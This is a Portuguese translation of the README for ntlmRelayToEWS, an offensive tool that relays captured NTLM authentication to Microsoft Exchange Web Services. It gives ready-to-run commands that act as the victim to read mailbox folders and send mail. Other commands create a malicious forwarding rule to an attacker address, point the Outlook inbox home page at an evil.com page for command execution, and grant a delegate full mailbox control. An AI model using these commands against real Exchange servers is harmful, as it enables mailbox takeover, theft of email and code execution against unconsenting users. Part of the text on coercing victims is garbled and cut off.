
ataque de relay NTLM para Exchange Web Services
Autor: Arno0x0x - @Arno0x0x
ntlmRelayToEWS é uma ferramenta para realizar ataques de relay NTLM no Exchange Web Services (EWS). Ela inicia um SMBListener na porta 445 e um HTTPListener na porta 80, aguardando conexões de entrada da vítima. Quando a vítima se conecta a um dos listeners, ocorre uma negociação NTLM que é retransmitida para o servidor EWS alvo.
Obviamente, esta ferramenta NÃO implementa toda a API do EWS, então apenas alguns serviços são implementados que podem ser úteis em alguns cenários de ataque. Posso adicionar mais no futuro. Consulte a seção 'uso' para ter uma ideia de quais chamadas EWS estão sendo implementadas.
Versão do Exchange:
Testei esta ferramenta apenas contra um Exchange Server 2010 SP2 (o que é bastante antigo, admito), então todos os templates de requisição SOAP do EWS, bem como a análise das respostas do EWS, foram testados apenas para esta versão do Exchange.
Embora eu não tenha testado pessoalmente, alguns relataram que esta ferramenta também funciona contra um Exchange 2016 server, sem modificações (ou seja, sem alterações nos templates de requisição SOAP).
Caso essas requisições SOAP não funcionem em outra versão do Exchange, é bem fácil criar os templates de requisição SOAP para corresponder a uma versão mais recente usando a Microsoft EWS Managed API em modo de rastreamento e capturar as requisições SOAP adequadas (foi assim que fiz!).
Cliente SOAP do EWS:
Eu adoraria ter usado um cliente SOAP para obter uma interface adequada para criar automaticamente todas as requisições SOAP com base no WSDL do Exchange. Tentei usar 'zeep', mas bati a cabeça na parede para fazê-lo funcionar com o WSDL do Exchange, pois ele requer o download de namespaces externos e, como tal, requer uma conexão com a internet. Além disso, com o 'zeep', o uso de uma sessão de transporte personalizada requer uma Requests.session, que não é o tipo de sessão HTTP(S) que temos por padrão com o HTTPClientRelay: teria sido necessário refatorar o HTTPClientRelay para usar 'Requests' (/me preguiçoso) ou simplesmente fazer o zeep criar as mensagens com zeep.client.create_message() e depois enviá-las com a sessão retransmitida que já temos. Ou será que sou um desenvolvedor ruim? enfim...
ntlmRelayToEWS requer uma instalação adequada/limpa do Impacket. Portanto, siga as instruções deles para obter uma versão funcional do Impacket.
ntlmRelayToEWS implementa os seguintes ataques, todos realizados em nome do usuário retransmitido (vítima).
Consulte a ajuda para obter informações adicionais: ./ntlmRelayToEWS -h. Obtenha mais informações de depuração usando a flag --verbose ou -v.
sendMail
Envia um e-mail formatado em HTML para uma lista de destinatários:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Assunto -m sampleMsg.html
getFolder
Recupera todos os itens de uma pasta predefinida (inbox, sent items, calendar, tasks):
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
Cria uma regra de encaminhamento maliciosa que encaminha todas as mensagens recebidas pela vítima para outro endereço de e-mail:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
Define uma página inicial de pasta (geralmente para a pasta Inbox) especificando uma URL. Esta técnica, descoberta pela SensePost/Etienne Stalmans, permite a execução arbitrária de comandos no programa Outlook da vítima, forjando uma página HTML específica: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
Define um endereço de delegado na caixa de correio principal da vítima. Em outras palavras, a vítima delega o controle de sua caixa de correio para outra pessoa. Feito isso, significa que o endereço delegado tem controle total sobre a caixa de correio da vítima, simplesmente abrindo-a como uma caixa de correio adicional no Outlook:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
Para fazer a vítima enviar suas credenciais para o ntlmRelayToEWS, você pode usar qualquer um dos seguintes métodos bem conhecidos:
Invoke-SendEmail.ps1 para conseguir isso.Baseado em Impacket e ntlmrelayx por Alberto Solino @agsolino.
Esta ferramenta deve ser usada apenas de forma legal e legítima:
Citando os autores do Empire: Não há como construir ferramentas ofensivas úteis para a indústria legítima de segurança da informação e, ao mesmo tempo, impedir que atores maliciosos as utilizem indevidamente.